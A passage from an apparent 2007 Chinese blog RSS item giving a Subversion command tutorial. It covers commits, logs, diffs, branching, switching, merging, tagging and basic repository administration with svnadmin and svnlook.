size="3">方式之三：撤销你的修改，这种方式不需要运行resolved子命令:</font></p><pre><font size="3">$ svn revert sandwich.txt<br>Reverted 'sandwich.txt'<br>$ ls sandwich.*<br>sandwich.txt</font></pre><p><font size="3">确保没问题后，就可以提交了。</font></p><pre><font size="3">$ svn commit --message &quot;Correct some fatal problems&quot;<br>$ svn commit --file logmsg<br>$ svn commit</font></pre><p><font size="3">(4) 检验版本历史</font></p><pre><font size="3">$ svn log<br>$ svn log --revision 5:19<br>$ svn log foo.c<br>$ svn log -r 8 -v<br><br>$ svn diff<br>$ svn diff --revision 3 rules.txt <br>$ svn diff --revision 2:3 rules.txt <br>$ svn diff --revision 4:5 http://svn.red-bean.com/repos/example/trunk/text/rules.txt<br><br>$ svn cat --revision 2 rules.txt <br>$ svn cat --revision 2 rules.txt &gt; rules.txt.v2<br><br>$ svn list http://svn.collab.net/repos/svn<br>$ svn list --verbose http://svn.collab.net/repos/svn<br><br>$ svn checkout --revision 1729 # Checks out a new working copy at r1729<br>…<br>$ svn update --revision 1729 # Updates an existing working copy to r1729<br>…</font></pre><p><font size="3">(5) 其他有用的命令</font></p><pre><font size="3">svn cleanup</font></pre><p><font size="3">为失败的事务清场。</font></p><p><font size="3">(6) 分支和合并</font></p><p><font size="3">建立分支方法一：先checkout然后做拷贝，最后提交拷贝。</font></p><pre><font size="3">$ svn checkout http://svn.example.com/repos/calc bigwc<br>A  bigwc/trunk/<br>A  bigwc/trunk/Makefile<br>A  bigwc/trunk/integer.c<br>A  bigwc/trunk/button.c<br>A  bigwc/branches/<br>Checked out revision 340.<br><br>$ cd bigwc<br>$ svn copy trunk branches/my-calc-branch<br>$ svn status<br>A  +   branches/my-calc-branch<br><br>$ svn commit -m &quot;Creating a private branch of /calc/trunk.&quot;<br>Adding         branches/my-calc-branch<br>Committed revision 341.</font></pre><p><font size="3">建立分支方法二：直接远程拷贝。</font></p><pre><font size="3">$ svn copy http://svn.example.com/repos/calc/trunk \<br>           http://svn.example.com/repos/calc/branches/my-calc-branch \<br>      -m &quot;Creating a private branch of /calc/trunk.&quot;<br><br>Committed revision 341.</font></pre><p><font size="3">建立分支后，你可以把分支checkout并继续你的开发。</font></p><pre><font size="3">$ svn checkout http://svn.example.com/repos/calc/branches/my-calc-branch</font></pre><p><font size="3">假设你已经checkout了主干，现在想切换到某个分支开发，可做如下的操作：</font></p><pre><font size="3">$ cd calc<br>$ svn info | grep URL<br>URL: http://svn.example.com/repos/calc/trunk<br>$ svn switch http://svn.example.com/repos/calc/branches/my-calc-branch<br>U   integer.c<br>U   button.c<br>U   Makefile<br>Updated to revision 341.<br>$ svn info | grep URL<br>URL: http://svn.example.com/repos/calc/branches/my-calc-branch</font></pre><p><font size="3">合并文件的命令参考：</font></p><pre><font size="3">$ svn diff -r 343:344 http://svn.example.com/repos/calc/trunk<br>$ svn merge -r 343:344 http://svn.example.com/repos/calc/trunk<br>$ svn commit -m &quot;integer.c: ported r344 (spelling fixes) from trunk.&quot;<br>$ svn merge -r 343:344 http://svn.example.com/repos/calc/trunk my-calc-branch<br>$ svn merge http://svn.example.com/repos/branch1@150 \<br>            http://svn.example.com/repos/branch2@212 \<br>            my-working-copy<br>$ svn merge -r 100:200 http://svn.example.com/repos/trunk my-working-copy<br>$ svn merge -r 100:200 http://svn.example.com/repos/trunk<br>$ svn merge --dry-run -r 343:344 http://svn.example.com/repos/calc/trunk</font></pre><p><font size="3">最后一条命令仅仅做合并测试，并不执行合并操作。</font></p><p><font size="3">建立标签和建立分支没什么区别，不过是拷贝到不同的目录而已。</font></p><pre><font size="3">$ svn copy http://svn.example.com/repos/calc/trunk \<br>           http://svn.example.com/repos/calc/tags/release-1.0 \<br>      -m &quot;Tagging the 1.0 release of the 'calc' project.&quot;<br><br>$ ls<br>my-working-copy/<br>$ svn copy my-working-copy http://svn.example.com/repos/calc/tags/mytag<br>Committed revision 352.</font></pre><p><font size="3">后一种方式直接把本地的工作拷贝复制为标签。</font></p><p><font size="3">此外，你还可以删除某个分支。</font></p><pre><font size="3">$ svn delete http://svn.example.com/repos/calc/branches/my-calc-branch \<br> -m &quot;Removing obsolete branch of calc project.&quot;</font></pre><p><strong><font size="3">管理人员常用命令</font></strong></p><p><font size="3">(7) 版本库管理</font></p><pre><font size="3">$ svnadmin help<br>...<br>$ svnadmin help create<br>...<br>$ svnadmin create --fs-type bdb /usr/local/repository/svn/test<br>$ chown -R svn.svn /usr/local/repository/svn/test</font></pre><p><font size="3">建立版本库，库类型为bdb（使用Berkeley DB做仓库），库名称为test。<br>svn版本库有两种存储方式：基于Berkeley DB(bdb)或者基于文件系统(fsfs)，通过 --fs-type可指定存储方式。</font></p><p><font size="3">(8) 查询版本库信息</font></p><pre><font size="3">$ svnlook help<br>...<br>$ svnlook help tree<br>...<br>$ svnlook tree /usr/local/repository/svn/test --show-ids</font></pre></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102052047891</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102052047891</guid>
    <pubDate>Tue, 20 Nov 2007 17:20:47 +0800</pubDate>
    <dcterms:modified>2007-11-20T17:20:47+08:00</dcterms:modified>
  </item>    
 </channel>
</rss>